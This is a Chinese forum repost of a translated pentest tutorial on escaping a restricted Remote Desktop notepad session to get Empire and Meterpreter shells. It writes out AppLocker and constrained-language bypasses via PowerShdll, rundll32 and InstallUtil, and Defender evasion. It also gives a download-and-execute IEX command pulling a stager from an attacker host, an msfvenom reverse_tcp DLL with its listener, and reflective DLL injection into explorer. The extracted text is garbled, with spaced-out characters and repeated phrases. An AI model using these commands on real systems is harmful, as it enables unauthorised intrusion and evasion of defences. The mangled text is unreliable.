搜索

[13298] 2018-10-14_从远程桌面服务到获取EmpireShell

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2018-10-14_从远程桌面服务到获取EmpireShell 从 远 程 桌 面 服 务 到 获 取 E m p i r e   S h e l l s e c i s t   F r e e B u f   2 0 1 8 - 1 0 - 1 4 本 文 将 为 大 家 详 细 介 绍 如 何 在 只 能 访 问 远 程 桌 面 服 务 ， 且 有 本 文 将 为 大 家 详 细 介 绍 如 何 在 只 能 访 问 远 程 桌 面 服 务 ， 且 有   A p p L o c k e r   保 护 保 护   P o w e r S h e l l   处 于 语 言 约 束 模 式 下 处 于 语 言 约 束 模 式 下 获 取 目 标 机 器 获 取 目 标 机 器   E m p i r e   s h e l l 。 。 P o w e r S h e l l   处 于 语 言 约 束 模 式 ， 可 以 防 止 大 多 数 处 于 语 言 约 束 模 式 ， 可 以 防 止 大 多 数 P o w e r S h e l l   技 巧 的 使 用 。 另 外 ， 技 巧 的 使 用 。 另 外 ， 还 有 还 有   W i n d o w s   D e f e n d e r   也 是 我 们 必 须 要 面 对 和 解 决 的 问 题 。 也 是 我 们 必 须 要 面 对 和 解 决 的 问 题 。 环 境 要 求 ： 环 境 要 求 ： R D S 服 务 器 放 行 8 0 端 口 出 站 流 量 。 . N e t   v 3 . 5 （ 用 于 P o w e r S h d l l 中 的 d l l 模 式 ） 注 ： 注 ： p o w e r s h e l l . e x e 不 是 P o w e r s h e l l 。 它 只 托 管 包 含 P o w e r S h e l l 的 程 序 集 并 处 理 I / O . S y s t e m . M a n a g e m e n t . A u t o m a t i o n . d l l 有 关 更 多 信 息 ， 请 阅 读 原 文 阅 读 原 文 获 取 文 末 链 接 。 从 从   R D S   n o t e p a d   获 取 获 取   s h e l l h t t p s : / / b l o g . n e t s p i . c o m / b r e a k i n g - o u t - o f - a p p l i c a t i o n s - d e p l o y e d - v i a - t e r m i n a l - s e r v i c e s - c i t r i x - a n d - k i o s k s / h t t p s : / / w w w . p e n t e s t p a r t n e r s . c o m / s e c u r i t y - b l o g / b r e a k i n g - o u t - o f - c i t r i x - a n d - o t h e r - r e s t r i c t e d - d e s k t o p - e n v i r o n m e n t s / 在 记 事 本 界 面 菜 单 栏 依 次 选 择 帮 助   - >   查 看 帮 助   - >   触 发 I E 浏 览 器 打 开 右 键 单 击 I E 中 的 任 意 链 接   - > 将 目 标 另 存 为   - > 在 桌 面 上 另 存 为 l o l . p s 1
点 击 I E 中 的 查 看 下 载 ， 按 下 文 件 的 下 拉 列 表 ， 打 开   - >   记 事 本 。 只 需 在 文 件 中 写 入 p o w e r s h e l l . e x e 并 再 次 保 存 。 现 在 ， 我 们 再 次 在 I E 中 右 键 单 击   - > “ 将 目 标 另 存 为 ” 。 转 到 下 拉 菜 单 “ 保 存 类 型 ” ， 然 后 选 择 “ 所 有 文 件 ” 。 你 已 保 存 的 p s 1 文 件 将 被 显 示 ， 你 可 以 选 择 “ 运 行   P o w e r S h e l l ” 这 会 弹 出 一 个 P o w e r S h e l l 命 令 提 示 符 。 但 当 前 的 P o w e r S h e l l 提 示 符 处 于 语 言 约 束 模 式 。 我 们 可 以 通 过 自 动 化 变 量 $ E x e c u t i o n C o n t e x t . S e s s i o n S t a t e . L a n g u a g e M o d e 进 行 验 证 ， 可 以 看 到 结 果 为 C o n s t r a i n e d L a n g u a g e 。 绕 过 绕 过   P o S h   约 束 模 式 约 束 模 式 首 先 ， 我 们 从 h t t p s : / / g i t h u b . c o m / p 3 n t 4 / P o w e r S h d l l 下 载 P o w e r S h d l l 。 然 后 使 用 p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0 在 K a l i W e b 服 务 器 上 托 管 p o w e r s h d l l . d l l 。 接 着 ， 在 I E 中 打 开 h t t p : / / 1 0 . 7 . 2 5 3 . 1 0 / P o w e r S h d l l . d l l 。 最 后 ， 将 其 保 存 为   - > P o w e r S h d l l . d l l （ 可 以 保 存 在 任 何 文 件 夹 下 ） 。 C : W i n d o w s T a s k s 文 件 夹 是 一 个 绕 过 A p p l o c k e r 的 好 地 方 ， 因 为 该 目 录 通 常 被 列 为 白 名 单 。 但 导 航 到 文 件 夹 也 可 能 受 到 限 制 ， 因 此 在 某 些 情 况 下 你 可 能 需 要 将 其 保 存 到 C : U s e r s U s e r n a m e D e s k t o p （ 桌 面 ） 。
我 还 不 确 定 如 何 在 A p p l o c k e d 环 境 中 检 查 D L L 规 则 。 现 在 ， 我 们 将 P o w e r S h e l l 提 示 符 导 航 至 桌 面 ， 并 使 用 r u n d l l 3 2 来 执 行 d l l 。 此 时 ， 应 该 会 弹 出 一 个 新 的 交 互 式 P o w e r S h e l l 提 示 符 。 我 们 再 次 通 过 自 动 化 变 量 $ E x e c u t i o n C o n t e x t . S e s s i o n S t a t e . L a n g u a g e M o d e 进 行 验 证 ， 可 以 看 到 现 在 已 经 变 为 了 F u l l L a n g u a g e （ 完 整 语 言 模 式 ） 。 更 简 单 的 方 法 更 简 单 的 方 法 直 到 后 来 我 才 发 现 ， 其 实 完 全 可 以 省 去 最 后 两 步 的 操 作 。 只 需 使 用 s e t   B a s e 6 4   f a l s e 和 s e t   O u t f i l e   s h e l l 生 成 一 个 E m p i r e s t a g e r 即 可 。 现 在 从 不 受 限 的 P o w e r S h e l l 中 ， 下 载 s h e l l 并 将 其 直 接 执 行 到 内 存 中 。 r u n d l l 3 2   . P o w e r S h d l l . d l l , m a i n   - w I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / 1 0 . 7 . 2 5 3 . 1 8 / s h e l l ' ) ;
如 果 你 够 幸 运 D e f e n d e r 将 不 会 拦 截 ， 并 且 你 将 获 取 到 一 个 E m p i r e   s h e l l / a g e n t 。 获 取 获 取   m e t e r p r e t e r   s h e l l 生 成 一 个 d l l   p a y l o a d ： 设 置 m s f 侦 听 程 序 ， 使 用 相 同 的 p a y l o a d ， 主 机 和 端 口 。 使 用 之 前 的 I E “ 另 存 为 ” 技 巧 下 载 m s f . d l l 。 出 于 某 种 原 因 ， W i n d o w s   D e f e n d e r 并 没 有 拦 截 我 的 p a y l o a d 。 可 能 是 因 为 p a y l o a d 的 x 6 4 签 名 尚 未 被 D e f e n d e r 识 别 为 恶 意 软 件 ， 具 体 我 也 不 是 很 清 楚 。 现 在 ， 我 们 使 用 r u n d l l 3 2 来 执 行 d l l 。 之 所 以 使 用 r u n d l l 3 2 ， 是 因 为 它 是 一 个 不 会 被 A p p l o c k e r 阻 止 的 二 进 制 文 件 。 成 功 获 取 到 了 m e t e r p r e t e r   s h e l l 。 m s f v e n o m   - a   x 6 4   - - p l a t f o r m   w i n d o w s   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 0 . 1 0 . 1 4 . 2   l p o r t = 8 0 8 1   - f   d l l   - o   m s f . d l l u s e   m u l t i / h a n d l e r s e t   h o s t   t u n 0 s e t   p o r t   8 0 8 1 s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p e x p l o i t r u n d l l 3 2   . m s f . d l l , C o n t r o l _ R u n D L L
没 有 没 有   p o w e r s h e l l . e x e   的 的   E m p i r e 假 设 您 已 建 立 了 一 个 m e t a s p l o i t 会 话 。 在 E m p i r e 中 ， 创 建 一 个 e m p i r e   l i s t e n e r   和   s t a g e r 。 最 重 要 的 是 将 B a s e 6 4 设 置 为 f a l s e ， 防 止 s t a g e r 调 用 p o w e r s h e l l . e x e 。 由 于 受 限 的 语 言 模 式 ， 将 导 致 p o w e r s h e l l . e x e 无 法 在 此 处 运 行 。 现 在 在 M S F 中 ： 在 交 互 式 s h e l l 中 复 制 粘 贴 e m p i r e   l i s t e n e r ， 在 E m p i r e 中 应 该 会 生 成 一 个 a g e n t 代 理 。 更 多 高 级 技 术 更 多 高 级 技 术 绕 过 绕 过   p o w e r s h e l l   约 束 模 式 和 约 束 模 式 和   a p p l o c k e r 以 下 是 一 篇 关 于 绕 过 应 用 白 名 单 和 p o w e r s h e l l 约 束 模 式 的 文 章 ， 大 家 可 以 阅 读 下 ： h t t p s : / / i m p r o s e c . c o m / b l o g / b a b u s h k a - d o l l s - o r - h o w - t o - b y p a s s - a p p l i c a t i o n - w h i t e l i s t i n g - a n d - c o n s t r a i n e d - p o w e r s h e l l 1 . 使 用 w i n d o w s / h t a 生 成 一 个 l i s t e n e r 和 h t a   s t a g e r 。 2 . 在 v i s u a l   s t u d i o 中 打 开 R e f l e c t i v e P i c k   p r o j e c t 。 在 适 当 的 位 置 添 加 h t a   b a s e 6 4   s h e l l   s t a g e r ， 并 将 d l l 编 译 为 R e f l e c t i v e P i c k _ x 6 4 . d l l 。 u s e l i s t e n e r   h t t p s e t   H o s t   1 0 . 7 . 2 5 3 . 1 8 s e t   P o r t   4 4 4 4 e x e c u t e b a c k u s e s t a g e r   m u l t i / l a u n c h e r s e t   B a s e 6 4   f a l s e g e n e r a t e l o a d   p o w e r s h e l l p o w e r s h e l l _ s h e l l
3 . 使 用 以 下 P S 命 令 将 D L L 编 码 为 b a s e 6 4 ， 并 将 结 果 通 过 管 道 传 输 到 一 个 文 本 文 件 中 。 4 . 复 制 粘 贴 d l l . t x t 的 内 容 到 I n v o k e - R e f l e c t i v e P E I n j e c t i o n . p s 1 的 新 变 量 中 。 5 . 使 用 h t t p s : / / w w w . b a s e 6 4 e n c o d e . o r g / 在 线 B a s e 6 4 编 码 整 个 脚 本 。 打 开 V S 中 的 B y p a s s   p r o j e c t ， 并 将 编 码 后 的 内 容 复 制 粘 贴 到 e n c o d e d 变 量 中 。 使 用 V S 将 其 编 译 为 B y p a s s . e x e 。 6 . 使 用 i n s t a l l u t i l . e x e 执 行 b y p a s s . e x e * 参 考 来 源 ： 参 考 来 源 ： c h r y z s h ， ， F B 小 编 小 编   s e c i s t   编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 $ C o n t e n t   =   G e t - C o n t e n t   . R e f l e c t i v e P i c k _ x 6 4 . d l l   - E n c o d i n g   B y t e $ E n c o d e d   =   [ S y s t e m . C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ C o n t e n t ) $ E n c o d e d   |   O u t - F i l e   " C : W i n d o w s T a s k s d l l . t x t " $ d l l D a t a   =   " D L L B A S E 6 4 _ G O E S _ H E R E " $ P r o c I d   =   ( G e t - P r o c e s s   e x p l o r e r ) . I d $ B y t e s   =   [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( $ d l l D a t a ) I n v o k e - R e f l e c t i v e P E I n j e c t i o n   - P E B y t e s   $ B y t e s   - P r o c I d   $ P r o c I d s e t - l o c a t i o n   t s c l i e n t l k y l a b s c o p y - i t e m   . B y p a s s . e x e   c : w i n d o w s t a s k s c d   c : w i n d o w s t a s k s C : w i n d o w s M i c r o s o f t . N E T F r a m e w o r k 6 4 v 4 . 0 . 3 0 3 1 9 I n s t a l l U t i l . e x e   / l o g f i l e =   / L o g T o C o n s o l e = f a l s e   / U   C : W i n d o w s T a s k s B y p a s s . e x e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理